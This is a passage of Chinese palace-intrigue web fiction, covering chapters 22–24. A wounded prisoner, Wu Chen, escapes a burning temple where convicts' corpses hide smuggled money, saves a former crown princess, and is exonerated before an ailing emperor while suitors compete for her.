门楣轻启,一人轻笑后道:“你来晚了。”
末息连忙合起名册道:“大人......见过侍郎大人......”
来人正是刑部侍郎安固临,道:“真不容易,你认得我。可我怎的,好像从未见过你呢?”
末息早已细汗密布,故作镇定道:“......许是侍郎大人贵人多忘事,咱们刑部手下边儿人多,您忘了在下.....也正常的。”
安固临侧身低头看向末息的脸,认真道:“哦,我想起来了,我见过你。”
“是了,是了大......”
“我在殷家亲兵营,见过你。”
“......”
安固临笑道:“吓成这样,是殷公子眼拙了吗?竟派你出来做事。”
末息道:“......与......公子无关的。”
“少将手伸到刑部来。”
末息面色微白,目光游移,右手缓缓伸向身侧刀柄,正欲有新的动作,“......”
安固临却突然道:“还不赶紧滚?”
末息收回右手,紧张道:“是,多谢大人......多谢......”
安固临却又叫住末息:“等等。”
“大人,有什么吩咐......”
“代我向殷公子和侯爷问好。”
“是......”
末息离开后,安固临手持名册,紧盯“巫辰”二字。
......
容安山林间,一人身穿军装身披玄色卫甲,俯首站于殷思身旁。
殷家亲兵副指挥使道:“公子,人已齐了,皆听候您的指令。官道那儿的弟兄才来传话,车已在路上,半柱香的时间便可到达容安山。”
殷思道:“来了多少?”
副指挥使道:“回公子,山顶处半百,山腰处半百,山脚处半百,刑部处半百,官道处一百人;其余各处负责传信送话的,半百人;共计三百五十人。”
“嗯。”
副指挥眉间一皱,试探着问道:“对了公子,殷家兵符,能否给在下看......”
殷思撇他一眼,面上未有分好异样或心虚:“怎么了?我阿姐的腰牌已指使不动你们了。”
副指挥使连忙解释道:“没有,公子,在下不是这个意思。”
“盯紧。”
“是,公子。”
......
车马停于一处,几车内的囚犯被分别带出,下车前一一被随行侍卫戴上深色眼罩。
刑部侍卫高声道:“没有指令,不许乱动眼罩,听见了没有!”
几个囚犯见状,不安问道:“官爷!这是要上哪儿去!”
“是啊......怎的......怎的和平日里......”
巫辰在一旁竖耳听着,因双眼被蒙住,视线被遮蔽,声响入耳后愈发明显,脚上镣铐被拖拽着,叮叮当当得响着。
送来素光寺的,倒是些意识清醒的囚犯。
“少废话,跟着走!”
所有人被带至屋内,蒙住眼蹲着,因有侍卫手中长剑胁迫着,也未再有人反抗或多言。
侍卫道:“你,过来。”
“诶.....是.....是,官爷。”
腥气入鼻,寒悚之感骤生,隐约呼声入耳,巫辰心下知晓,被带走的死囚,是被杀了。
“下一个!”
“过来。”
其余人逐一进入内室,巫辰随后也被侍卫拽住拉入某处。
“赶紧走,干什么呢!”,侍卫不耐烦道。
听此人说话,应是
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正戴着面罩屏息,进屋后,果然不对劲,屋内弥漫致人眩晕昏迷的药物,巫辰本对此类迷药有抗体,但几日刑讯意识早已模糊不清,身体渐渐瘫软无力。
稍有清醒时,只听两人在旁一来一回说着话。
“呵.....这小姑娘,看着还挺水灵的。”
—“没的吃了吧你,诏狱里的浑身是伤疤,水灵个屁。”
“......额,还真是,这胳膊......都快划烂了。”
—“......怎么了你。”
“有点.....有点恶心......”,那人说着,泛起一阵干呕。
另一人无奈道:“刚才开膛破肚的你都没事儿,这你至于......”
“.......”
巫辰手臂处隐隐传来知觉,那人却道:“我靠......怎么光可着这几寸的地儿划,这手还没断吗......”
“惨啊......赶紧动手啊。”
“你来吧......我还是有点儿恶心......”
“你真是不行,我来我来。诶,她怎么一点儿反应都没有,不会是没气儿了吧......”,那人话语间取下巫辰眼罩,见巫辰闭目似是松下心来。
怎料巫辰猛然睁眼,忽得起身直扑那侍从手中利刃,刀尖没入巫辰肩头,吃痛时意识瞬间清醒身体迅速恢复知觉,随即咬上那人手腕欲夺刀。
“啊啊啊啊啊啊啊啊!松口!!!!松开!!!!!!!”,那侍从尖叫着挣脱,却被巫辰咬下半块肉。
巫辰夺刀后起身,迅速与屋内两人交手,巫辰身形如影,短刀所到之处咧咧声起。
空隙间环顾屋内情形,角落旁堆积着成堆的囚犯尸身,胸腹处皆是极其粗糙的缝合,未有窗的室内却有柔和光源,另一角,则是成堆的真金白银。
原是借囚犯的身体,偷运脏钱,于佛龛神明前杀戮,可恶至极。
巫辰原未在此动杀心,却因这屋内情境,再难控心神,眸中寒光一现,刀已刺出,刹那间便抵在敌手咽喉,鲜血尚未溅出,敌手已眼神溃散。
刑部其余侍从闻声而来,混乱中香炉倒地,金银化作灰烬消散,巫辰因被镣铐缠身,逐渐不敌,欲脱身离开,寻着来路回囚犯关押处时,竟未留一人。
烈火汹汹,浓烟肆起,寺中神明之像浴火含怒,转眼间化为残焦。
......
.....
....
“尚书......大人您先莫急!慢些慢些!”
刑部尚书齐炜道:“我能不急吗!你们怎么办的事?怎么将她一同送去素光寺了......她背后那些人,我一个都惹不起的!全完了......全完了啊......”
刑部都官司王斓道:“......是在下失职,许是名册记差了人。您别着急,会有法子的!”
王斓搀扶着齐炜,赶到容安山时,素光寺已然烈火汹涌。
“报!!尚书大人!素光寺起火,正在全力控制......”
“报!!!大人,刚得着的消息......殿前司......正在路上,陛下派来的......”
齐尚书:???
齐炜几欲昏厥,王斓忙将他扶稳,道:“诶!大人!大人您撑住啊!!这儿不能没您的指挥的......”
齐炜喘着粗气道:“我.....我......我还指挥个屁!等死吧......”
“......”
侍卫再次来报:“大人......素光寺那儿......说是......人全跑了,火势也极难控制,应是.....救不下了。”
齐炜道:“等等......王斓。”
“大人有何吩咐。”
齐炜长叹一气,像是下了重大决定,无奈道:“唉......去把宗正寺,烧了。”
“啊?”,王斓不解。
“一起烧了。”
22.将星现世
火势愈烈,此前巫辰已被浓烟逼至宗正寺内,楼阁深处焰气腾腾,呛得人难以喘息,朱梁燃尽纷纷坍塌,早已空无一人,寺内其余宗室藏品,毁于一旦。
屋内角落处一幅已燃烧过半的画作,引得巫辰注目,画中男人身着玄衣,袍上绣着金龙,竟与前些日子怪梦中男人的衣着,别无二致。
可存放于宗正寺的画作,画中之人,只能是皇室的人。
轰—————
承重梁瞬息间倒塌,压住牵连巫辰手腕的镣铐,她奋力撬动已被灼烧至高温的焦木,手上皮肤被烫得通红,“咳咳咳......咳咳........”,肺部已吸入大量浓烟,若持续坐以待毙便会丧命于此,可被牵制住的右手却如何都挣脱不开。
“右臂......”,巫辰猛然间联想起来时路上,于马车上听到的,佛像右臂断裂......那日分开时,殷思同样也是抓着她的右臂不肯放开。
巫辰于烈火中艰难喘息着,紧盯自己右手腕处的金属镣铐,随后左手抓上手腕处,使尽残余的全力。
“呃........”,腕骨断裂之痛,钻入骨髓,冷汗涔涔而下,巫辰的面色更加苍白。
忍痛将右手退出镣铐,强撑着站起身,眼前早已模糊不清,头脑发昏得厉害,恍惚间脚下一空,腐烂的地板竟碎裂,巫辰顷刻间坠入一处未知的空间。
......
.....
....
扑通—————
初时只觉一阵冰凉包裹周身,眼前水光潋滟,耳中唯闻水声汩汩。
......
巫辰双手本能得划动,水域极深探不清底,只得尽力向上游去,适才的灼烧感脱去,而是转变为极致的寒凉,一冷一热的刺激下,混沌的头脑稍转清晰,寻着微光的源头,破出水面。
巫辰竟掉入一处密室,此处因处于宗正寺地下处,水池附近尚未被浓烟覆盖。
“咳咳......咳咳咳......咳......”,密室角落,竟传来女人轻咳声。
巫辰循着微弱声响,上至平地后又淌过浅水池,一身穿白衣的女子正靠于墙边,应是被猛涨的水溺到,巫辰见她昏迷不醒,拖着还尚可用力的左手将她移至没有水的地方。
白衣女人手中紧紧攥着一物,微光下勉强看清,竟是梦中女主所戴的那副银制手镯,只是现在看来,这镯子要比梦中那时,更加陈旧。
巫辰忙将手伸向女人脖颈处确认她的呼吸,女子呼吸急促极不稳定,看来已是溺水严重,应是肺部进水。
“不能死......你......你不能死......”
巫辰只好将白衣女人转至平地处,近前俯身,将女人前额下压后抬颌,使其头部后仰,气道开放,口对口深吸一口气,吹起数秒后再探她是否恢复呼吸起伏。
反复多次后,白衣女人口鼻处呛出水,“醒醒……你醒醒……”
“哈........咳咳咳咳咳.......”,女人猛然间转醒,却抬手就将手里的手镯扔向一旁的深水池内。
“……!”
巫辰将她扶稳靠在一旁,忙回身欲再次下水寻回手镯。
……
“巫辰!巫辰!展颜辰!!”
“展颜辰!”
巫辰此时已是烦得不行,竟于此时仍在幻听,跪于池边将左手伸进冰水内寻着掉落的手镯。
“……”,呼吸愈渐急促紊乱。
“阿颜……”
“小心!”
还未及反应,巫辰便被一股力量紧紧包裹住,连带着滚过湿滑石地,上方烧毁的木梁轰然倒于眼前。
巫辰身上多处伤口被紧贴的臂膀挤压,吃痛道:“疼……松开。”
“抱歉,抱歉抱歉……”,殷思心疼道,连忙将她松开。
殷思见巫辰浑身伤,没说两句便又难以止住哭腔,“对不起……对不起……”,殷思拉起巫辰的手,见她几乎烂掉的手臂,眶中泪打转,终是簌簌而落。
巫辰道:“不恶心吗。”
殷思抬头疑惑问她:“……啊?”
巫辰,收回手臂,淡淡道:“我身上,不恶心吗?”
殷思心疼难耐,泪水夺眶而出,双肩微颤道:“没有,完全没有。别这么说自己……求你了……我……我疼死了……”
巫辰认真看着殷思,他现在的样子和梦中,别无二致,巫辰抬手摸上他眼角的泪道:“哭什么。”,在感受到他温度的那一刻,终于分清此时正于现实之中,而非梦里。
“我……我想你……我……好想你……”
“......”
巫辰没再回应,而是发问道:“认得她吗?”,说着指向在旁边的白衣女人。
殷思看向女人后,则是面露震惊,“……??”,反应片刻后道:“霍懿纯……她怎么活着的……”
“为什么不活着。”
“她是太……是前太子妃。”
巫辰道:“你救她出去,不要管我。”
“……不要!”,殷思听罢一下抱住巫辰,“阿颜……阿颜……你不能死在这儿,要死我和你一起……我不走……”
正正好好又按在巫辰未愈新伤处,巫辰终是再也无法忍受,一把将他推开,随后一巴掌招呼在他脸上,“谁要和你一起死,你不想活,你就自己留下,我带她走。”
随后踉跄这站起身,尽力往前走去,殷思见她难以站稳在旁边扶住,巫辰再次将他推开,试图抱起霍懿纯,发现根本抱不动。
“......”
“你的手怎么了……”,殷思拉起巫辰右手,觉察出不对劲,几乎又要哭出来。
巫辰道:“不许哭。”,微微叹气后,语气放缓:“殷思,你救她出去。”
“……”
见他仍愣在原地未有回应,忙追问道:“可以吗。”
殷思道:“……我先带她上去,回来找你。”
“这木梁,只能踩一次。你再不走,我们全死在这儿。”
巫辰看着他横抱起霍懿纯,微微发愣道:“……你背我。”
殷思却委屈道:“两人的重量……我……我……”
巫辰道:“哦,算了。”
......
此时池中水忽然涨起,冲撞上墙边,没至脚边。
巫辰若有所思道:“殷思,观音石像下的水池,已没水了吗。”
宗正寺位于容安山山腰处,虽现所处地下,地势却仍高于山脚位置的观音坐莲石像,巫辰由此推断,平日里密室、石像池塘与外部蓄水库中的水可相互流动。
现因起火,密室内的空气被大量燃烧,正将蓄水库内的水全数吸入,待密室内冷却后将两者见通道堵死,可借助此处与观音坐莲的地势高低差,引水流入观音石像的池塘中。
殷思立刻会意,道:“……是,出去后,我将蓄水池全数排水口堵死,这儿的水应可灌进石像下的水池。”
巫辰只需在水灌满后寻得密室与石像池塘相同的水道,便可逃脱。
殷思最后问道:“阿颜,你会出来的,对不对。”
“嗯。”,巫辰说罢转身返回池内,开始寻起先前掉落的手镯,没再理会殷思。
殷思飞身,借力梁柱,将霍懿纯带离密室。
......
容安山脚下,观音坐莲池边。
齐炜早已坐立难安,试探道:“云右卫......现火势呃......已然控制住了,应是没什么特别的事将发生了,不然我们先回去?”
殿前司右卫云迁程冷笑道:“齐大人,您没看这池边,正在涨水吗?挺稀奇的,我想多看会儿。”
齐炜:.......
云迁程又转头问向殷思:“是不是殷公子,您也想
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多等等吧?”
“嗯,想看。”,殷思道。
齐炜只好悄悄一个白眼,撇了撇两人,他极其清楚自己的处境,适才多年前牵扯东宫叛乱的前太子妃又从宗正寺带出,现下已是什么都再难说清了。若是在此处多留一刻,脑袋落地的几率将更多一分,正暗中盘算着对策。
池沼忽得盈水,涟漪叠起漫出池沿,殷思见状忙冲在最前处。
“咳咳咳......咳咳......”
水泽动荡,巫辰于清潭中猛然探出。
“巫辰......”
殷思立即将巫辰从水中抱出,裹好衣物,巫辰此时体力已至极限,于殷思耳畔轻声道:“我要见.....陛下......”
“好,我带你离开。”,说罢将巫辰横抱起,欲直接离开,完全不顾身后呜呜泱泱的一群人。
“我好累......”,巫辰轻声道。
殷思道:“休息吧,有我在。”
云迁程打断,“殷公子干什么?”,云迁程一副看戏的样子,问道,“她是朝廷要犯,公子要带她去哪儿?”
殷思未有理会而是径直离开。
云迁程发令道:“殿前司听令,拦住殷公子。”
齐炜此时才明白过来,这要保巫辰的人,此刻又多了一个殷思,还有他背后的闵国侯、殷家,更加惹不起了。
刑部都官司王斓见齐炜一脸踌躇,也明白过味儿来,忽得大喊道:“恭迎将星大人现世!!!!!”,王斓见旁人皆是一脸疑惑看着自己,稍感尴尬,却仍是继续喊道:“将星大人现世!!我朝福报!!!祝我大苍......”
“咳咳咳......”,齐炜于一旁轻咳提醒。
云迁程道:“都官司大人,您这是,什么脏东西上身了吗?”
“不不不!云大人,在下清醒得很,您有所不知哇!昨日夜里,容安山处便有异象出现,平白无故竟有这荧惑初开,将星高悬之象!这观音坐莲,向来是我朝至宝,这......囚......呃这位姑娘又从池中凭空而现,可谓是神赐将星,可护我大苍繁荣啊......”,王斓此时已顾不得任何脸面,为保齐尚书,也更为保自己,只好直接站在殷家、东方家、颖王这边。
云迁程笑道:“呵......看来几位大人也都听说此事了,陛下今早得国师消息,还真是同样的测算预言。”
王斓连忙道:“是了是了!大人......您看......”
云迁程忽然冷脸道:“你们,随我面圣。”
齐炜与王斓,终于认命,只好视死而归。
云迁程转身问道:“不知殷公子,愿意一起吗?”
殷思笑道:“自然愿意。”
云迁程道:“嗯,那上车。”
殷思稍稍停顿,道:“云大人,我带着家室,不大方便,您先回宫复命,我与齐大人一车前往。”
齐炜与王斓面面相觑。
王斓上前道:“殷公子,其实我与齐大人也不是很方便.....你......这......”
云迁程不再搭理王斓,道:“那就好,殷公子可莫叫我等太久。”
......
.....
....
马车徐行于官道,巫辰轻靠于殷思右肩处,齐炜和王斓正坐对面。
因马车颠簸,巫辰被摇晃得转醒:“殷思......”
殷思侧头道:“嗯,我在呢。”
巫辰神色恍惚,轻声道:“好冷......”
“嗯,抱抱就不冷了。”,殷思说着将巫辰搂入怀中。
齐炜:......
王斓:......
此时两人只觉,睁着眼不是,闭着眼也不是。
王斓试探道:“殷公子,要不......我与齐大人,先......回避一下?”
23.兵符
王斓试探道:“殷公子,要不......我与齐大人,先......回避一下?”
殷思仍未搭理王斓,正帮巫辰仔细包扎着手上的手臂,见她右手腕折断正心疼不已,正欲将断骨接上。
巫辰将殷思的手推开道:“不用。”
“......”,殷思不知是何意,但见她抗拒未再敢有动作。
王斓于对面不解风情道:“呃......公子?殷公子?巫姑娘?.......巫姑娘你知道的.......我与齐大人都是不愿对你做什么,是......是皇后那儿交代下来......我们也没法子啊,一会儿到了陛下那儿......”
巫辰被抓受刑一事皆因皇后而起,此时这刑部的管事人却又纷纷推脱不肯说出实情,想到此处殷思怒意横生,右手执剑抵住齐炜脖颈,冷冷道:“齐尚书,叫他闭嘴。”
寒光一现,于光线昏暗的车舆内极为明显,齐炜只肃目不语。
王斓自知说错话,连忙道:“别别......公子您别急,别动气。”
齐炜道:“殷公子,你我二人,应不至于致此地步的,您要留保下这位姑娘,我也无意要她的命。只是她进刑部的原因,在陛下面前,我齐炜当真说不得,我全家老小的命,我也想保......”
殷思道:“停车。”
王斓忙传话:“诶!好好......快停车!”
车外枯林内稀稀疏疏,忽闻沓沓足音,近百十人自暗处潮涌而出,瞬间将刑部的全数随行团团围困。
领头的玄甲卫恭敬向车内问道:“公子,有何吩咐。”
刑部侍卫见状皆拔剑相向,利刃出鞘的寒凉剑声,不绝于耳。转眼间,刑部的人全部被亲军卫压制住。
殷思道:“齐尚书,将刑部的人,换成我的。”
齐炜皱眉,道:“......殷公子这是何意。这......您叫他们扮作刑部,若是被察觉.......我无法交代的。”
殷思却将剑更靠近齐炜喉咙处几分,“你换不换?”
王斓此时却道:“公子,殷公子,这......我们有话好好说......看外面几位军爷穿的是玄色卫甲,是亲军?您带他们进宫的话.......您是不是也?”
殷思到:“呵......你们什么都不敢说,甘为小人所用。此事于我,绝不可有闪失,我已然调了亲兵来,我敢赌命,不知齐大人与王大人,敢不敢赌?”
齐炜闻言,轻轻叹气,道:“......王斓,传令下去,刑部全数随行,和殷公子的人,换。”
“是.....大人......”,王斓由侧边下了马车。
......
....
...
车外的玄甲指挥使郝廷渝,此时却对殷思道:“公子且慢,请公子出示亲兵卫兵符。”
王斓于一旁尴尬道:“殷公子,这......”
巫辰恍惚间注意到,殷思举着重剑的右臂开始微微颤动,轻声道:“殷思......我有别的办......”
殷思道:“巫辰,帮我拿给他看。”
“......在哪儿。”
“我身上。”
巫辰尽力吊住精神,用尚可自由活动的左手,开始在殷思身上摸索兵符,应是四方形状材质偏硬的。
寻着寻着,殷思的神情却不自然起来,双颊绯绯染至眉角处,“还......还未找到吗?”
在场其余人,亦觉尴尬,都撇开视线,假装看不见。
短短几秒时间,殷思只觉漫长无比,内心只道,「快些摸.....」
“......拿去。”,巫辰将亲兵卫视作圣旨圣物般的兵符,朝车外的砂地重重一掷,正好落于郝廷渝脚边。
殷思道:“郝指挥使,有些事,你若办不得,或是不敢办,就滚出殷家亲兵营。容安山几个人你看不住,做什么吃的。”
郝廷渝连忙俯身道:“殷公子恕罪,.......是在下办事不利。”
“将人换好,随我过去。”
“是,公子。兵符,您拿好。”
王斓此时一脸愉快再登上车舆,道:“嘿嘿......公子,大人,我回来了,已办妥了。公子能否将这个......放下.......”
巫辰见殷思仍是不动,伸手接过重剑,放到一边。再次确认,他的右臂不对劲,持重物片刻后便会僵硬无力。
王斓仍旧喋喋不休:“话说公子,若是今日我们可过这难关,您日后能否跟......跟颖王殿下和东方姑娘说说好话,这忙齐大人是在尽力帮了,不是故意管他们要那么些钱的,我们刑部也是有难处......您看这巫姑娘现在不是活得好好......”
“巫辰,还冷不冷。”,殷思为巫辰披好衣服,轻轻一抱。
“.......冷。”
王斓道:“额......姑娘要是还冷,您不嫌弃的话不然再披上我的?”
殷思瞪向王斓。
王斓只好解释:“......别误会啊,我也有家室的,就是不忍.....呃......怕姑娘冻坏了。”,悄悄抹了把汗又道:“您看您二位,真是相配啊!.......又正巧,殷公子与巫姑娘今日都穿了红色,哈哈哈......不知道的,我以为正坐在喜娇上,是不是,齐大人?”
齐炜轻咳提醒:“咳咳.....”
巫辰闻言欲将披在身上的衣服扯下。
殷思道:“别......别脱......”,一脸委屈,“巫辰......”
王斓道:“姑娘,您好好穿着......殷公子也是好意......”
殷思道:“你再废话,我将你扔下去。”
“好......好好......我不说了,您二位随意......”
......
....
太康殿内,锦幔低垂,玉柱擎天,辉煌华丽而又极具压迫感。
众人进殿道:“陛下圣安。”
颖王承晚今于皇帝身侧,笑道:“诸位大人好,本王今日来得真巧,竟如
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此热闹。”
“见过颖王殿下。”
皇帝正侧躺于龙榻之上,眼底多为倦怠与虚弱,眼中却仍含威严凌厉,缓缓道:“晚今,扶朕起来。”
皇帝起身见殷思扶着巫辰跪于石阶前,眉头一皱,疑惑道:“殷思,你这是,何意?”
殷思道:“陛下,殷思今日想求您赐婚。”
皇帝却是未见怒意,轻笑道,“......瞧你这穿的,是今日非娶不可吗?.......也无妨,你已是应婚配的年纪了。有什么想法,尽管与朕说。”
殷思道:“陛下,臣想娶钦天监侍卫使巫辰为正妻。”
“哈哈哈哈......那不巧,晚今方才与朕说,也要娶她为王妃。晚今,是叫巫辰吧,朕可有记错?”,说罢便看向一旁的承晚今。
承晚今道:“回陛下,是巫辰。”
帝容憔损,双颊凹陷,身形摇摇,一字一句道:“可朕还记得,这巫辰,应是牵扯荔平案的重犯,应判,死罪。”
殷思抬眼看向皇帝,道:“陛下,臣以性命为巫辰作保,她与荔平案刺杀一事,绝无干系。”
太康殿理事太监陈福示意殿前司道:“先去将殷公子身边那女子,押住。”
殿前司领命上前,“是。”
殷思道:“我看谁敢动?”
“殷思!于朕面前,你要反不成?”,龙颜骤怒,刹那间,殿中气温仿若骤降,烛火摇曳不。
在场众人道:“陛下息怒!”
皇帝强撑病体,所行举步维艰,走下石阶郑重道:“殷思,今日是仅以你的性命作保吗?你可想好了?”
殷思道:“陛下,殷家辅佐皇室已有近百年之久,世代忠心可鉴。殷思自小受父亲与家中长辈教导,于君侧,只余衷谏,刺杀一事事出突然,又牵扯朝中多名高官,若仅因一人证词便要草草结案,只怕会......”
皇帝闻言一笑,目光凌厉,“哈哈哈哈哈.....家中长辈?殷思,你莫不是,在暗示朕?”
皇帝此言,并非毫无依据的斥责,而是殷思故意提及的‘长辈’,便是当今圣上生母,殷思的亲姑母。
殷思道:“臣不敢。”
“......”
王斓见事态不对,赌上难测的君心,插话道:“禀陛下......这女子,便是今日容安山的临世将星......昨日夜容安山处将星高悬,今日清晨观音坐莲右臂断裂,处处暗指这女子为......”
皇帝撇向王斓,眉峰紧蹙道:“朕问你话了吗?”
王斓忙跪下:“没有......陛下恕罪......”
巫辰此时对殷思道:“.......殷思,放开我,我......”,殷思闻言将她放开。
......
巫辰恭敬跪于殿内,抬眼看向大苍如今的帝王,反复确认,当今圣上便是于幻梦中见过的那个男人。
她停滞片刻后,虚弱道:“臣,钦天监侍卫使巫辰,请陛下圣安。见过颖王殿下.......见过.......各位大人......”
24.病愈
巫辰恭敬跪于殿内,抬眼看向大苍如今的帝王,反复确认,当今圣上便是于幻梦中见过的那个男人。
她停滞片刻后,虚弱道:“臣,钦天监侍卫使巫辰,请陛下圣安。见过颖王殿下.......见过.......各位大人......”
巫辰已然很难跪住,殷思欲上前将她扶稳,却被巫辰推开。
巫辰随后继续道:“臣......臣有一物,要.......要交于陛下.......”
“......”,巫辰左手拖住无力的右臂,身体微颤,递上于宗正寺密室内,霍懿纯手中拿到的手镯,:“陛下,今日......臣于宗正寺内,视野受浓烟蒙蔽,昏暗中......寻不得方向,却于偶然间,见此物,正于幽暗处......独绽华彩,其光......竟远盛于烈焰熊火,可堪奇景,晕染得浴火炼狱中,再无致人恐惧之感......”
皇帝隔着几步外,看着巫辰手中之物,仿若木雕之人,帝愣怔良久,那冕旒之下的眼眸,似有惊涛骇浪涌起,却又一时凝滞,缓声道:“陈福,将此物,拿来给朕看。”
“是,陛下。”
在场其余众人皆疑惑不已。
皇帝不可置信道:“......你......是于何处寻得的?”
巫辰恭敬道:“回陛下,未寻,受它的指引,臣于生死间寻得出路,才得以活命,见到陛下......遂,想将这代表祥兆之物,交于陛下.......”
“当真是......天意吗......”,皇帝仍在喃喃自语着。
掌事太监陈福,看着手镯,若有所思。
巫辰赌对了,于梦中缠绵的一男一女,神态与动作间,唯有缱倦情谊,再无其他。
巫辰虽不通情爱,却受殷思的影响,深知如此抱在一起的两人,关系定不一般。
......
.....
外侍传话道:“陛下,外头刑部侍郎求见。”
皇帝道:“快,让他进来。”
“是。”
“陛下圣安,见过颖王殿下,见过各位大人。”,刑部侍郎安固临俯首道:“启禀陛下,有关荔平案余孽及多起刺杀事件的那名证人,认下了全部罪名,且承认她于缙华堂中,绝无同党。陛下,此为供述书。”
皇帝笑道:“哈哈哈......安侍郎来得,倒是时候。”
安固临到:“陛下,近日献都刺杀事件的主审理人,是刑部司陆堇,燕庭陆堇。”
大苍燕庭,是皇后母家秦氏的家乡。多年来,皇最是帝清楚,皇后早已于各地安插进她的臂膀。
皇帝思索片刻,转而问向一旁的齐炜:“齐炜,近日刑部,可有何事,要报予朕的?”
齐炜答道:“.......陛下,近来一切顺利,除今日容安山处的素光寺和宗正寺失火.......再无其他了。”
皇帝轻笑道:“啧.......是吗?朕刚得着消息,宗正寺卿杨涌宣,自尽于府上。你们平日相熟,可知晓原因?”
齐炜面上的震惊停留半瞬间,而后道:“回禀陛下,臣,不知。今日失火原因,刑部已做查探,应是于素光寺内的死囚发生骚动混乱时所至,至于宗正寺起火,是因冬日风大,两处距离又近,受了波及。”
皇帝长舒一气,道:“那看来,素光寺和宗正寺的其余事。例如,霍懿纯,你亦是全然不知?”
“陛下,臣不知。”
“殷思,齐尚书说的,与你所知,可有出入?”
殷思答道:“回陛下,没有出入。”
“哦,那也行吧。”,皇帝说罢,回身转至塌旁。
齐炜见皇帝并未怪责,连忙道:“谢......谢陛下......”
皇帝却笑道:“哈哈哈哈,朕又没说什么,齐爱卿也未犯什么错,无需谢朕。”,而后稍稍停顿,“但刑部,在朕看来依然是办事不利,刑部凡六品以上官员,罚俸一年。”
“是陛下,臣等,领罚。”
......
陈福对巫辰道:“巫大人,既已平反无罪,您便起来吧,别跪着了。”
皇帝道:“嗯,该赏,该赏。巫辰,你有何所求?赏金、或是其他别的封赏?”
巫辰垂眸后,看向皇帝,“陛下,臣......想回家......”
“回家?这是何意?”
巫辰胸前起伏不断,身体状态已差到极点,回应道:“回陛下,臣想回......回缙华堂......”,殷思于一旁扶住巫辰。
皇帝皱眉道:“嘶.......你已有官职的,再回缙华堂,不合适......殷思,缙华堂首辅官一职,是否还空着?”
殷思答道:“回陛下,是空着的。”
皇帝道:“哈哈哈哈哈,那便好。巫辰,日后无需于钦天监当差,回缙华堂,任首辅官。还有,刺杀一案,三月时间,你来查明。”
巫辰道:“臣,谢过陛下,臣还有一问......缙华堂是否是,如何管理都可以?”
皇帝疑惑,“.......殷思为堂主,他说可以,那便可以。”
“是。”
殷思道:“陛下,我......”
“对,对对.......殷思,你也不必于钦天监当差了,下次,朕不想于此等混乱的场合,再见你出现。”
“是,臣谢过陛下。”
皇帝坐上隆塌,平静道:“嗯,还有......赐婚一事,巫辰既然为官,则不便婚配,可有遗憾或是不愿?”
巫辰道:“......回禀陛下,臣与颖王殿下和殷公子,都不熟。”
“.......”
皇帝笑道,分别看向殿内的承晚今与殷思:“哈哈哈哈哈哈......听清楚了吗?她说,与你们两人都不熟。啧......但今日却让朕记起,晚今从前,与羽灵是有婚约的。”
承晚今道:“回陛下,仅是多年前儿时的约定了,应是再难作数。”
“嗯,晚今。你的婚事,应尽快做打算的.......朕前些时日听得皇后说,你身边的那位女官,与你在天隆国已是相伴多年,实属不易,改日应是与正妃一同进王府的,长此以往下去,难免引旁人口舌。”
承晚今闻言微微皱眉,面上神情稍稍一变,很快便又恢复如常,道:“陛下,我与代副官......皆是无意于此,坊间传闻而已,陛下莫要误会了。”
皇帝应道:“你既如此说,那也改日再议了。可惜可惜,竟未说成一桩婚事!朕年岁大了,最是愿意见你们这些年轻人,早些嫁娶,有个安稳日子......”,而后似是记起了什么,看向齐炜道:“齐炜,前些时日,冷时俊求朕赐婚齐爱卿的爱女,不如今日,便将此事定下。”
“这......陛下......”
“嗯,那便定了,择日完婚,朕要休息,你们走吧。”
“恭送陛下。”
......
见皇帝离开,巫辰终得松下一口气,日后再回缙华堂,更需从长计议。
殷思于一旁道:“巫辰......我是真的想娶你......”
“巫大人,我也是真的想娶......”,承晚今于此时插话。
“承晚今你有病吧。”
承晚今笑着,语气怪异,略带有几分阴阳怪气:“啧,殷公子好凶,吓着本王了。”
殷思不再理他,对巫辰道:“......先同我回殷家,将伤养好。”
“不必了......”,巫辰身体已毫无力气,语毕后陷入昏迷。
“巫辰......巫辰......”
......
.....
....
宫门前,汉白玉铺就的广场广阔无垠,朱红大门
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紧闭。
承晚今道:“溯理,坐我的车回去吧。”,见殷思仍不理他,追问道:“怎么?还在气我......要娶她?”
殷思道:“将你的如意算盘收好,莫要将......”
却被熟悉的声音打断,仙宁一路小跑至众人跟前,道:“阿辰!小思!!好久不见!我来接你们回家啦~”
“......大人。”,殷思看向她时,稍觉恍惚。
“呜呜呜呜.....许久不见,我很想念你们的,你的伤如何了......阿辰.....这是怎么了?怎么......怎么受了这么重的伤?”,说着满眼的心疼与担忧看向巫辰。
殷思宽慰道:“无事的......”
仙宁咬着嘴唇,点着头,竟反过来安慰起殷思道:“别担心!小思你别担心......钦天监风水最好了,极为养人!还有上好的药材,最香的吃食,养养身体,阿辰便又能活蹦乱跳的了......上次你将她扔到钦天监,还是我亲自照顾.......”
“诶?”,仙宁话说到一半,停顿下来,看向承晚今身旁的代贺,继续道:“那日光线不好......竟是我眼拙了,你不是漂亮姐姐,和阿辰一般,虽看起来是漂亮姐姐的相貌,实则......”
殷思将仙宁的话打断:“大人,我们走吧。”
“哦!好的......改日再见~”
“国师慢走。”
......
再回钦天监,巫辰的伤渐渐养好,心神却极不稳定,幻听更是家常便饭,甚至身上的某处会毫无征兆得发痛,残灯明灭间,夜晚变得更加难熬。
每每被困于梦魇中,只闻风声似鬼哭,模糊影影绰绰,张牙舞爪而来,欲噬己身,惊而奔逃后,方觉是幻,惊醒时汗已浃背。
渐渐地,巫辰察觉出自己的不对劲,精神萎靡,情绪变得更加不稳定,痛感也异常明显。
仅仅是微微发热的茶杯拿在手中,都会被灼烧得立即松手。
茶盏落地后,用手轻拾起碎片,本应是平滑的瓷片,触摸起来却如针刺,手掌皮肤被碎片边缘划破,鲜血滴落,竟又不觉得痛了。
......
.....
....
----“阿辰!今日有鱼吃!出来吃吗......我为你留了许多......”
----“巫辰,开门可以吗......我想见见你......”
----“阿辰,你整日在里面不出声,会被憋坏的,我和小思都很担心你的......”
----“阿颜,药和吃的,我都放在门口,待好些了,便拿进去吧。”
----“阿辰......你还在里面吗......”
----“阿颜,下雪了,要看看吗......”
......
只好日日将自己关在屋里,不管仙宁与殷思如何喊,如何求,都无力回应。
......
巫辰哭不出,也喊不出疼来,只觉得好累。
明明什么都未做成,只是被人推着走,任人摆布着,却已足够累了。
......
大病方休时,今日小雪,也是巫辰为数不多,可以清醒行动的日子。
房门轻启,眼前琼花纷落九霄,雪掩重檐,风渡深院,殷思正于门前庭院中修剪着枯木残枝,身着朱色锦袍,领口处狐毛轻覆,“冷不冷,快披上。”,殷思说着将外披裹在巫辰身上。
